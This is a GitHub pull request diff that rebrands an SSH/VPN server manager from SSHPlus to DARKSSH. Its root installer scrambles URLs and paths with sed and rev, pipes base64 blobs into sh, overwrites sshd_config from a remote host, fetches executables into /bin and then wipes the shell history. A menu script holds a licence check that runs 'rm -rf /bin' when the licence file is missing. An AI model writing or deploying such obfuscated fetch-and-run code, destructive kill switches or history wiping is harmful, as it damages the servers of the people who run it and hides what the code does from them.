Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

no install #11

Open
wants to merge 35 commits into
base: main
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
35 commits
Select commit Hold shift + click to select a range
5a82584
Delete Install directory
sbatrow Oct 30, 2021
8d0f068
Delete Modulos directory
sbatrow Oct 30, 2021
4b23d98
Delete image directory
sbatrow Oct 30, 2021
d60685a
Delete LICENSE
sbatrow Oct 30, 2021
8610e12
Delete Plus
sbatrow Oct 30, 2021
ea89d06
Delete versao
sbatrow Oct 30, 2021
677ce64
Delete README.md
sbatrow Oct 30, 2021
4ceed88
Add files via upload
sbatrow Oct 30, 2021
fbbe9cb
Update Dark
sbatrow Oct 30, 2021
46ef6da
Update conexao
sbatrow Oct 30, 2021
a860648
Update README.md
sbatrow Oct 30, 2021
341a6c3
Update conexao
sbatrow Oct 30, 2021
1d329a0
Update conexao
sbatrow Oct 30, 2021
1281b67
Update conexao
sbatrow Oct 30, 2021
adc5b7f
Update conexao
sbatrow Oct 30, 2021
19c3830
Update list
sbatrow Oct 30, 2021
ec3d2a8
Update Url.txt
sbatrow Oct 30, 2021
2d90b43
Delete Install directory
sbatrow Oct 30, 2021
9c31e33
Delete Modulos directory
sbatrow Oct 30, 2021
25b4f83
Delete image directory
sbatrow Oct 30, 2021
cc189bf
Delete .gitattributes
sbatrow Oct 30, 2021
84c1850
Delete Dark
sbatrow Oct 30, 2021
22d34fb
Delete LICENSE
sbatrow Oct 30, 2021
aa18e7c
Delete README.md
sbatrow Oct 30, 2021
6b11b61
Add files via upload
sbatrow Oct 30, 2021
bedad00
Update conexao
sbatrow Oct 30, 2021
abef561
Update list
sbatrow Oct 30, 2021
56176bd
Create autoreboot
sbatrow Oct 30, 2021
25ef134
Update list
sbatrow Oct 30, 2021
c4458a8
Update autoreboot
sbatrow Oct 30, 2021
e0b4b18
Update autoreboot
sbatrow Oct 30, 2021
9284d1f
Update criarusuario
sbatrow Mar 7, 2022
ff47f07
Update remover
sbatrow Mar 7, 2022
6c77d7c
Update criarteste
sbatrow Mar 7, 2022
a2e74dd
Update expcleaner
sbatrow Mar 7, 2022
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 0 additions & 1 deletion .gitattributes

This file was deleted.

28 changes: 14 additions & 14 deletions Plus → Dark
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@
clear
[[ "$(whoami)" != "root" ]] && {
echo -e "\033[1;33m[\033[1;31mErro\033[1;33m] \033[1;37m- \033[1;33myou need to run as root\033[0m"
rm $HOME/Plus > /dev/null 2>&1; exit 0
rm $HOME/Dark > /dev/null 2>&1; exit 0
}
_lnk=$(echo 't1:e#n.5s0ul&p4hs$s.0729t9p$&8i&&9r7827c032:3s'| sed -e 's/[^a-z.]//ig'| rev); _Ink=$(echo '/3×u3#s87r/l32o4×c1a×l1/83×l24×i0b×'|sed -e 's/[^a-z/]//ig'); _1nk=$(echo '/3×u3#s×87r/83×l2×4×i0b×'|sed -e 's/[^a-z/]//ig')
cd $HOME
Expand Down Expand Up @@ -36,7 +36,7 @@ function verif_key () {
krm=$(echo '5:q-3gs2.o7%8:1'|rev); chmod +x $_Ink/list > /dev/null 2>&1
[[ ! -e "$_Ink/list" ]] && {
echo -e "\n\033[1;31mINVALID KEY!\033[0m"
rm -rf $HOME/Plus > /dev/null 2>&1
rm -rf $HOME/Dark > /dev/null 2>&1
sleep 2
clear; exit 1
}
Expand All @@ -57,19 +57,19 @@ echo -e "\033[1;31m≠×≠×≠×≠×≠×≠×≠×≠×[\033[1;33m • \033[
echo ""
#-----------------------------------------------------------------------------------------------------------------
read -p "$(echo -e "\033[1;36mDO YOU WISH TO CONTINUE \033[1;31m? \033[1;33m[S/N]:\033[1;37m ")" -e -i s resp
[[ $resp = @(n|N) ]] && rm $HOME/Plus && exit 0
[[ $resp = @(n|N) ]] && rm $HOME/Dark && exit 0
cp /etc/ssh/sshd_config /etc/ssh/sshd_back
wget -O /etc/ssh/sshd_config https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/master/Install/sshd_config > /dev/null 2>&1
wget -O /etc/ssh/sshd_config https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/dev/Install/sshd_config > /dev/null 2>&1
service ssh restart > /dev/null 2>&1
echo -e "\n\033[1;36mපරීක්ෂා කිරීම ... \033[1;37m 16983:16085\033[0m" ; rm $_Ink/list > /dev/null 2>&1; wget -P $_Ink https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/master/Install/list > /dev/null 2>&1; verif_key
echo -e "\n\033[1;36mපරීක්ෂා කිරීම ... \033[1;37m 16983:16085\033[0m" ; rm $_Ink/list > /dev/null 2>&1; wget -P $_Ink https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/dev/Install/list > /dev/null 2>&1; verif_key
sleep 3s
echo "/bin/menu" > /bin/h && chmod +x /bin/h > /dev/null 2>&1
echo "apt-get update -y; apt-get upgrade -y; wget https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/master/Plus; chmod 777 Plus; ./Plus" > /bin/sshplus && chmod +x /bin/sshplus > /dev/null 2>&1
wget -O /bin/menuV1 https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/master/Modulos/menuV1 > /dev/null 2>&1; chmod +x /bin/menuV1
wget -O /bin/menuV2 https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/master/Install/menuV2 > /dev/null 2>&1; chmod +x /bin/menuV2
wget -O /bin/menuV3 https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/master/Install/menuV3 > /dev/null 2>&1; chmod +x /bin/menuV3
wget -O /bin/menuV4 https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/master/Install/menuV4 > /dev/null 2>&1; chmod +x /bin/menuV4
rm versao* > /dev/null 2>&1; wget https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/master/versao > /dev/null 2>&1
echo "apt-get update -y; apt-get upgrade -y; wget https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/dev/Dark; chmod 777 Dark; ./Dark" > /bin/darkssh && chmod +x /bin/darkssh > /dev/null 2>&1
wget -O /bin/menuV1 https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/dev/Modulos/menuV1 > /dev/null 2>&1; chmod +x /bin/menuV1
wget -O /bin/menuV2 https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/dev/Install/menuV2 > /dev/null 2>&1; chmod +x /bin/menuV2
wget -O /bin/menuV3 https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/dev/Install/menuV3 > /dev/null 2>&1; chmod +x /bin/menuV3
wget -O /bin/menuV4 https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/dev/Install/menuV4 > /dev/null 2>&1; chmod +x /bin/menuV4
rm versao* > /dev/null 2>&1; wget https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/dev/versao > /dev/null 2>&1
echo 'IlwwMzNbMTszMW3iiaDDl+KJoMOX4omgw5fiiaDDl+KJoMOX4omgw5fiiaDDl+KJoMOXW1wwMzNbMTszM20g4oCiIFwwMzNbMTszMm0gQnk9ICDwn5Sl4pqh77iP4pqh77iPIFNpdGh1bSBCYXRyb3cg8J+HsfCfh7Ag4pqh77iP4pqh77iP8J+UpSBcMDMzWzE7MzNtIOKAolwwMzNbMTszMW0gXeKJoMOX4omgw5fiiaDDl+KJoMOX4omgw5fiiaDDl+KJoMOX4omgw5dcMDMzWzBtIgpta2RpciAvZXRjL3N0dW5uZWwKY2F0IDw8IEVPRiA+IC9ldGMvc3R1bm5lbC9zdHVubmVsLmNvbmYKY2VydCA9IC9ldGMvc3R1bm5lbC9zdHVubmVsLnBlbQpjbGllbnQgPSBubwpzb2NrZXQgPSBhOlNPX1JFVVNFQUREUj0xCnNvY2tldCA9IGw6VENQX05PREVMQVk9MQpzb2NrZXQgPSByOlRDUF9OT0RFTEFZPTEKW3N0dW5uZWxdCmNvbm5lY3QgPSAwLjAuMC4wOjIyCmFjY2VwdCA9IDQ0Mwpzc2xWZXJzaW9uID0gYWxsCkVPRgogIlwwMzNbMTszMW3iiaDDl+KJoMOX4omgw5fiiaDDl+KJoMOX4omgw5fiiaDDl+KJoMOXW1wwMzNbMTszM20g4oCiIFwwMzNbMTszMm0gQnk9ICDwn5Sl4pqh77iP4pqh77iPIFNpdGh1bSBCYXRyb3cg8J+HsfCfh7Ag4pqh77iP4pqh77iP8J+UpSBcMDMzWzE7MzNtIOKAolwwMzNbMTszMW0gXeKJoMOX4omgw5fiiaDDl+KJoMOX4omgw5fiiaDDl+KJoMOX4omgw5dcMDMzWzBtIgoKb3BlbnNzbCByZXEgLW5ldyAtbmV3a2V5IHJzYTo0MDk2IC1kYXlzIDM2NSAtbm9kZXMgLXg1MDkgXAogICAgLXN1YmogIi9DPVVTL1NUPURlbmlhbC9MPVNwcmluZ2ZpZWxkL089RGlzL0NOPXd3dy5leGFtcGxlLmNvbSIgXAogICAgLW91dCBzdHVubmVsLnBlbSAgLWtleW91dCBzdHVubmVsLnBlbQoKY3Agc3R1bm5lbC5wZW0gL2V0Yy9zdHVubmVsL3N0dW5uZWwucGVtCmNobW9kIDY0NCAvZXRjL3N0dW5uZWwvc3R1bm5lbC5wZW0KCnNlcnZpY2Ugc3R1bm5lbDQgcmVzdGFydCAKc2VydmljZSBzc2ggcmVzdGFydCAKL2V0Yy9pbml0LmQvc3R1bm5lbDQgcmVzdGFydAplY2hvIC1lICJcMDMzWzE7MzFt4omgw5fiiaDDl+KJoMOX4omgw5fiiaDDl+KJoMOX4omgw5fiiaDDl1tcMDMzWzE7MzNtIOKAoiBcMDMzWzE7MzJtIEJ5PSAg8J+UpeKaoe+4j+Kaoe+4jyBTaXRodW0gQmF0cm93IPCfh7Hwn4ewIOKaoe+4j+Kaoe+4j/CflKUgXDAzM1sxOzMzbSDigKJcMDMzWzE7MzFtIF3iiaDDl+KJoMOX4omgw5fiiaDDl+KJoMOX4omgw5fiiaDDl+KJoMOXXDAzM1swbSI=' | base64 -d | sh
#-----------------------------------------------------------------------------------------------------------------
echo -e "\n\033[1;32mKEY වලංගුයි!\033[1;32m"
Expand Down Expand Up @@ -104,8 +104,8 @@ echo -e " \033[1;33mUPDATES USING TO TAKE A LITTLE TIME!\033[0m"
echo ""
fun_attlist () {
apt-get update -y
[[ ! -d /usr/share/.plus ]] && mkdir /usr/share/.plus
echo "crz: $(date)" > /usr/share/.plus/.plus
[[ ! -d /usr/share/.dark ]] && mkdir /usr/share/.dark
echo "crz: $(date)" > /usr/share/.dark/.dark
}
fun_bar 'fun_attlist'
clear
Expand Down Expand Up @@ -137,5 +137,5 @@ echo -e " \033[1;33m • \033[1;32mINSTALLATION COMPLETED\033[1;33m • \
echo ""
echo -e "\033[1;31m \033[1;33mMAIN COMMAND: \033[1;32mmenu\033[0m"
echo 'ZWNobyAtZSAiXDAzM1sxOzMzbSBNT1JFIElORk9STUFUSU9OICjgt4Dgt5Dgtqngt5Ig4LeA4LeS4LeD4LeK4Lat4La7KSBcMDMzWzE7MzFtKFwwMzNbMTszNm1URUxFR1JBTVwwMzNbMTszMW0pOiBcMDMzWzE7MzdtQHNpYmF0cm93IPCflKXimqHvuI/imqHvuI8gU2l0aHVtIEJhdHJvdyDwn4ex8J+HsCDimqHvuI/imqHvuI/wn5SlXDAzM1swbSI=' | base64 -d | sh
rm $HOME/Plus && cat /dev/null > ~/.bash_history && history -c
rm $HOME/Dark && cat /dev/null > ~/.bash_history && history -c

4 changes: 2 additions & 2 deletions Install/Menu_UP/blockt
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
#!/bin/bash
clear
IP=$(wget -qO- ipv4.icanhazip.com)
arq="/etc/Plus-torrent"
arq="/etc/Dark-torrent"
echo -e "\E[44;1;37m FIREWALL BLOQUEIO TORRENT \E[0m"
echo ""
if [[ -e "$arq" ]]; then
Expand Down Expand Up @@ -136,7 +136,7 @@ iptables -A FORWARD -m string --string "announce_peer" --algo bm -j DROP
iptables -A FORWARD -m string --string "find_node" --algo bm -j DROP' >> $arq
sleep 2
chmod +x $arq
/etc/Plus-torrent > /dev/null
/etc/Dark-torrent > /dev/null
}
fun_spn2 () {
helice () {
Expand Down
54 changes: 27 additions & 27 deletions Install/Menu_UP/conexao
Original file line number Diff line number Diff line change
@@ -1,10 +1,10 @@
#!/bin/bash
#====================================================
# SCRIPT: CONEXAO SSHPLUS MANAGER
# SCRIPT: CONEXAO DARKSSH MANAGER
# DESENVOLVIDO POR: CRAZY_VPN
# DATA ATUALIZACAO: 28-04-2021
# CONTATO TELEGRAM: http://t.me/crazy_vpn
# CANAL TELEGRAM: http://t.me/sshplus
# CANAL TELEGRAM: http://t.me/darkssh
#====================================================
[[ $(awk -F" " '{print $2}' /usr/lib/licence) == "@CRAZY_VPN" ]] && {
ram1=$(free -h | grep -i mem | awk {'print $2'})
Expand All @@ -17,7 +17,7 @@
comando[1]="$2"
(
[[ -e $HOME/fim ]] && rm $HOME/fim
[[ ! -d /etc/SSHPlus ]] && rm -rf /bin/menu
[[ ! -d /etc/DARKssh ]] && rm -rf /bin/menu
${comando[0]} >/dev/null 2>&1
${comando[1]} >/dev/null 2>&1
touch $HOME/fim
Expand Down Expand Up @@ -153,7 +153,7 @@
acl url1 dstdomain -i 127.0.0.1
acl url2 dstdomain -i localhost
acl url3 dstdomain -i $ipdovps
acl url4 dstdomain -i /SSHPLUS?
acl url4 dstdomain -i /DARKSSH?
acl payload url_regex -i "$var_pay"
acl all src 0.0.0.0/0

Expand All @@ -172,7 +172,7 @@
done
cat <<-EOF >>$var_sqd
#Nome squid
visible_hostname SSHPLUS
visible_hostname DARKSSH
via off
forwarded_for off
pipeline_prefetch off
Expand Down Expand Up @@ -568,7 +568,7 @@
#cat cert.pem key.pem >>/etc/stunnel/stunnel.pem
#rm key.pem cert.pem >/dev/null 2>&1
sed -i 's/ENABLED=0/ENABLED=1/g' /etc/default/stunnel4
cd /etc/stunnel && wget sshplus.xyz/script/stunnel.pem && cd $HOME
cd /etc/stunnel && wget darkssh.xyz/script/stunnel.pem && cd $HOME
}
fun_bar 'ssl_certif'
echo -e "\n\033[1;32mINICIANDO O SSL TUNNEL !\033[0m"
Expand Down Expand Up @@ -1074,7 +1074,7 @@
fun_dep() {
wget -O ~/EasyRSA-3.0.1.tgz "https://github.com/OpenVPN/easy-rsa/releases/download/3.0.1/EasyRSA-3.0.1.tgz"
[[ ! -e $HOME/EasyRSA-3.0.1.tgz ]] && {
wget -O ~/EasyRSA-3.0.1.tgz "http://sshplus.xyz/script/EasyRSA-3.0.1.tgz"
wget -O ~/EasyRSA-3.0.1.tgz "http://darkssh.xyz/script/EasyRSA-3.0.1.tgz"
}
tar xzf ~/EasyRSA-3.0.1.tgz -C ~/
mv ~/EasyRSA-3.0.1/ /etc/openvpn/
Expand All @@ -1086,7 +1086,7 @@
./easyrsa --batch build-ca nopass
./easyrsa gen-dh
./easyrsa build-server-full server nopass
./easyrsa build-client-full SSHPLUS nopass
./easyrsa build-client-full DARKSSH nopass
./easyrsa gen-crl
cp pki/ca.crt pki/private/ca.key pki/dh.pem pki/issued/server.crt pki/private/server.key /etc/openvpn/easy-rsa/pki/crl.pem /etc/openvpn
chown nobody:$GROUPNAME /etc/openvpn/crl.pem
Expand Down Expand Up @@ -1223,7 +1223,7 @@ exit 0' >$RCLOCAL
fi
[[ $(grep -wc 'open.py' /etc/autostart) != '0' ]] && pt_proxy=$(grep -w 'open.py' /etc/autostart| cut -d' ' -f6) || pt_proxy=80
cat <<-EOF >/etc/openvpn/client-common.txt
# OVPN_ACCESS_SERVER_PROFILE=[SSHPLUS]
# OVPN_ACCESS_SERVER_PROFILE=[DARKSSH]
client
dev tun
proto $PROTOCOL
Expand All @@ -1247,7 +1247,7 @@ exit 0' >$RCLOCAL
float
EOF
# gerar client.ovpn
newclient "SSHPLUS"
newclient "DARKSSH"
[[ "$(netstat -nplt | grep -wc 'openvpn')" != '0' ]] && echo -e "\n\033[1;32mOPENVPN INSTALADO COM SUCESSO\033[0m" || echo -e "\n\033[1;31mERRO ! A INSTALACAO CORROMPEU\033[0m"
}
sed -i '$ i\echo 1 > /proc/sys/net/ipv4/ip_forward' /etc/rc.local
Expand Down Expand Up @@ -1321,12 +1321,12 @@ exit 0' >$RCLOCAL
verif_ptrs $porta
fun_inisocks() {
sleep 1
screen -dmS proxy python /etc/SSHPlus/proxy.py $porta
screen -dmS proxy python /etc/DARKssh/proxy.py $porta
[[ $(grep -wc "proxy.py" /etc/autostart) = '0' ]] && {
echo -e "netstat -tlpn | grep -w $porta > /dev/null || { screen -r -S 'proxy' -X quit; screen -dmS proxy python /etc/SSHPlus/proxy.py $porta; }" >>/etc/autostart
echo -e "netstat -tlpn | grep -w $porta > /dev/null || { screen -r -S 'proxy' -X quit; screen -dmS proxy python /etc/DARKssh/proxy.py $porta; }" >>/etc/autostart
} || {
sed -i '/proxy.py/d' /etc/autostart
echo -e "netstat -tlpn | grep -w $porta > /dev/null || { screen -r -S 'proxy' -X quit; screen -dmS proxy python /etc/SSHPlus/proxy.py $porta; }" >>/etc/autostart
echo -e "netstat -tlpn | grep -w $porta > /dev/null || { screen -r -S 'proxy' -X quit; screen -dmS proxy python /etc/DARKssh/proxy.py $porta; }" >>/etc/autostart
}
}
echo ""
Expand Down Expand Up @@ -1376,17 +1376,17 @@ exit 0' >$RCLOCAL
verif_ptrs $porta
fun_inisocksop() {
[[ "$(netstat -tlpn | grep 'openvpn' | wc -l)" != '0' ]] && {
listoldop=$(grep -w 'DEFAULT_HOST =' /etc/SSHPlus/open.py | cut -d"'" -f2 | cut -d: -f2)
listoldop=$(grep -w 'DEFAULT_HOST =' /etc/DARKssh/open.py | cut -d"'" -f2 | cut -d: -f2)
listopen=$(netstat -tlpn | grep -w openvpn | grep -v 127.0.0.1 | awk {'print $4'} | cut -d: -f2)
sed -i "s/$listoldop/$listopen/" /etc/SSHPlus/open.py
sed -i "s/$listoldop/$listopen/" /etc/DARKssh/open.py
}
sleep 1
screen -dmS openpy python /etc/SSHPlus/open.py $porta
screen -dmS openpy python /etc/DARKssh/open.py $porta
[[ $(grep -wc "open.py" /etc/autostart) = '0' ]] && {
echo -e "netstat -tlpn | grep -w $porta > /dev/null || { screen -r -S 'openpy' -X quit; screen -dmS openpy python /etc/SSHPlus/open.py $porta; }" >>/etc/autostart
echo -e "netstat -tlpn | grep -w $porta > /dev/null || { screen -r -S 'openpy' -X quit; screen -dmS openpy python /etc/DARKssh/open.py $porta; }" >>/etc/autostart
} || {
sed -i '/open.py/d' /etc/autostart
echo -e "netstat -tlpn | grep -w $porta > /dev/null || { screen -r -S 'openpy' -X quit; screen -dmS openpy python /etc/SSHPlus/open.py $porta; }" >>/etc/autostart
echo -e "netstat -tlpn | grep -w $porta > /dev/null || { screen -r -S 'openpy' -X quit; screen -dmS openpy python /etc/DARKssh/open.py $porta; }" >>/etc/autostart
}
}
echo ""
Expand Down Expand Up @@ -1421,7 +1421,7 @@ exit 0' >$RCLOCAL
echo ""
abrirptsks() {
sleep 1
screen -dmS proxy python /etc/SSHPlus/proxy.py $porta
screen -dmS proxy python /etc/DARKssh/proxy.py $porta
sleep 1
}
fun_bar 'abrirptsks'
Expand All @@ -1438,7 +1438,7 @@ exit 0' >$RCLOCAL
elif [[ "$resposta" = '4' ]]; then
if ps x | grep -w proxy.py | grep -v grep 1>/dev/null 2>/dev/null; then
clear
msgsocks=$(cat /etc/SSHPlus/proxy.py | grep -E "MSG =" | awk -F = '{print $2}' | cut -d "'" -f 2)
msgsocks=$(cat /etc/DARKssh/proxy.py | grep -E "MSG =" | awk -F = '{print $2}' | cut -d "'" -f 2)
echo -e "\E[44;1;37m PROXY SOCKS \E[0m"
echo ""
echo -e "\033[1;33mSTATUS: \033[1;32m$msgsocks"
Expand Down Expand Up @@ -1493,11 +1493,11 @@ exit 0' >$RCLOCAL
cor_sts='null'
fi
fun_msgsocks() {
msgsocks2=$(cat /etc/SSHPlus/proxy.py | grep "MSG =" | awk -F = '{print $2}')
sed -i "s/$msgsocks2/ '$msgg'/g" /etc/SSHPlus/proxy.py
msgsocks2=$(cat /etc/DARKssh/proxy.py | grep "MSG =" | awk -F = '{print $2}')
sed -i "s/$msgsocks2/ '$msgg'/g" /etc/DARKssh/proxy.py
sleep 1
cor_old=$(grep 'color=' /etc/SSHPlus/proxy.py | cut -d '"' -f2)
sed -i "s/\b$cor_old\b/$cor_sts/g" /etc/SSHPlus/proxy.py
cor_old=$(grep 'color=' /etc/DARKssh/proxy.py | cut -d '"' -f2)
sed -i "s/\b$cor_old\b/$cor_sts/g" /etc/DARKssh/proxy.py

}
echo ""
Expand All @@ -1513,7 +1513,7 @@ exit 0' >$RCLOCAL
screen -wipe >/dev/null
_Ptsks="$(cat /tmp/Pt_sks)"
sleep 1
screen -dmS proxy python /etc/SSHPlus/proxy.py $_Ptsks
screen -dmS proxy python /etc/DARKssh/proxy.py $_Ptsks
rm /tmp/Pt_sks
fi
}
Expand Down Expand Up @@ -1669,7 +1669,7 @@ exit 0' >$RCLOCAL
x="ok"
fun_conexao() {
while true $x != "ok"; do
[[ ! -e '/home/sshplus' ]] && exit 0
[[ ! -e '/home/darkssh' ]] && exit 0
clear
echo -e "\E[44;1;37m MODO DE CONEXAO \E[0m\n"
echo -e "\033[1;32mSERVICO: \033[1;33mOPENSSH \033[1;32mPORTA: \033[1;37m$(grep 'Port' /etc/ssh/sshd_config | cut -d' ' -f2 | grep -v 'no' | xargs)" && sts6="\033[1;32m◉ "
Expand Down Expand Up @@ -1712,7 +1712,7 @@ exit 0' >$RCLOCAL
sts1="\033[1;31m○ "
}
[[ "$(ps x | grep 'slow_dns' | grep -v 'grep'|wc -l)" != '0' ]] && {
echo -e "\033[1;32mSERVICO: \033[1;33mSLOWDNS \033[1;32mPORTA: \033[1;37m$(sed -n 1p /etc/SSHPlus/dns/autodns | awk '{print $6}' | cut -d':' -f2)"
echo -e "\033[1;32mSERVICO: \033[1;33mSLOWDNS \033[1;32mPORTA: \033[1;37m$(sed -n 1p /etc/DARKssh/dns/autodns | awk '{print $6}' | cut -d':' -f2)"
sts8="\033[1;32m◉ "
} || {
sts8="\033[1;31m○ "
Expand Down
10 changes: 5 additions & 5 deletions Install/Menu_UP/menuV2/menuV2
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,7 @@ comando[0]="$1"
comando[1]="$2"
(
[[ -e $HOME/fim ]] && rm $HOME/fim
[[ ! -e /usr/lib/sshplus ]] && rm -rf /bin/menu > /dev/null 2>&1
[[ ! -e /usr/lib/darkssh ]] && rm -rf /bin/menu > /dev/null 2>&1
${comando[0]} -y > /dev/null 2>&1
${comando[1]} -y > /dev/null 2>&1
touch $HOME/fim
Expand Down Expand Up @@ -39,7 +39,7 @@ comando[0]="$1"
comando[1]="$2"
(
[[ -e $HOME/fim ]] && rm $HOME/fim
[[ ! -d /etc/SSHPlus ]] && rm -rf /bin/menu
[[ ! -d /etc/DARKssh ]] && rm -rf /bin/menu
${comando[0]} > /dev/null 2>&1
${comando[1]} > /dev/null 2>&1
touch $HOME/fim
Expand Down Expand Up @@ -152,7 +152,7 @@ function autoexec () {

while true $x != "ok"
do
[[ -e /etc/Plus-torrent ]] && stsf=$(echo -e "\033[1;32m◉ ") || stsf=$(echo -e "\033[1;31m○ ")
[[ -e /etc/Dark-torrent ]] && stsf=$(echo -e "\033[1;32m◉ ") || stsf=$(echo -e "\033[1;31m○ ")
stsbot=$(ps x | grep "bot_plus"|grep -v grep > /dev/null && echo -e "\033[1;32m◉ " || echo -e "\033[1;31m○ ")
autm=$(grep "menu;" /etc/profile > /dev/null && echo -e "\033[1;32m◉ " || echo -e "\033[1;31m○ ")
[[ ! -e /usr/lib/licence ]] && rm -rf /bin > /dev/null 2>&1
Expand All @@ -170,7 +170,7 @@ else
system=$(cut -d' ' -f1 /etc/issue.net)
fi
_ons=$(ps -x | grep sshd | grep -v root | grep priv | wc -l)
[[ "$(cat /etc/SSHPlus/Exp)" != "" ]] && _expuser=$(cat /etc/SSHPlus/Exp) || _expuser="0"
[[ "$(cat /etc/DARKssh/Exp)" != "" ]] && _expuser=$(cat /etc/DARKssh/Exp) || _expuser="0"
[[ -e /etc/openvpn/openvpn-status.log ]] && _onop=$(grep -c "10.8.0" /etc/openvpn/openvpn-status.log) || _onop="0"
[[ -e /etc/default/dropbear ]] && _drp=$(ps aux | grep dropbear | grep -v grep | wc -l) _ondrp=$(($_drp - 1)) || _ondrp="0"
_onli=$(($_ons + $_onop + $_ondrp))
Expand All @@ -185,7 +185,7 @@ _userexp=$(printf '%-5s' "$_expuser")
_tuser=$(awk -F: '$3>=1000 {print $1}' /etc/passwd | grep -v nobody | wc -l)
clear
echo -e "\033[0;34m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m"
echo -e "\E[41;1;37m ⇱ SSHPLUS MANAGER ⇲ \E[0m"
echo -e "\E[41;1;37m ⇱ DARKSSH MANAGER ⇲ \E[0m"
echo -e "\033[0;34m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m"
echo -e "\033[1;32mSISTEMA MEMÓRIA RAM PROCESSADOR "
echo -e "\033[1;31mOS: \033[1;37m$_system \033[1;31mTotal:\033[1;37m$_ram \033[1;31mNucleos: \033[1;37m$_core\033[0m"
Expand Down
Loading